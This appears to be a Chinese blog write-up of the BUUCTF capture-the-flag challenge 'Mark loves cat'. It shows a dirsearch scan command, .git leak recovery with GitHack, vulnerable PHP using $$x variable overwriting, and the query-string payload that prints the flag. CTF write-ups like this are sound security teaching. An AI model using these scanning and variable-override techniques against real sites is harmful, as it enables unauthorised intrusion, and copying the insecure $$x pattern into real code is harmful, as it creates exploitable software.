buuctf-[BJDCTF2020]Mark loves cat
本文最后更新于36 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

考点:扫描目录,变量覆盖

先随便点点,contact有个message=1,试了下sql,没用

开始dirsearch扫描,一直在报429

让我一度以为这是不用扫的题,后面看到一位非常谦虚的大佬的博客,发现了解决方法,设置–timeout=2

python .\dirsearch.py -e * -u http://6ba5321c-bc74-4fb9-8711-bfc6d1cf1577.node5.buuoj.cn:81/ -t 1 --timeout=2 -x 400,403,404,500,503,429

发现.git泄露,用GitHack把文件保存下来

有一个flag.php,里面没东西,在index.php的结尾发现代码

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
		exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

注意第二个foreach,如果传一个handsome=flag,可以实现$handsome=$flag变量覆盖,而后面一个foreach刚好是用exit输出$handsome,所以现在的问题就是怎么进入这个exit,非常简单,只要让(一个非flag值)=xxx &flag=(一个非flag值)就行,构造payload如下

/index.php?handsome=flag&a=b&flag=a

拿到flag,后面还有很多exit和一个echo,对应各种解题姿势,但我要睡觉了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇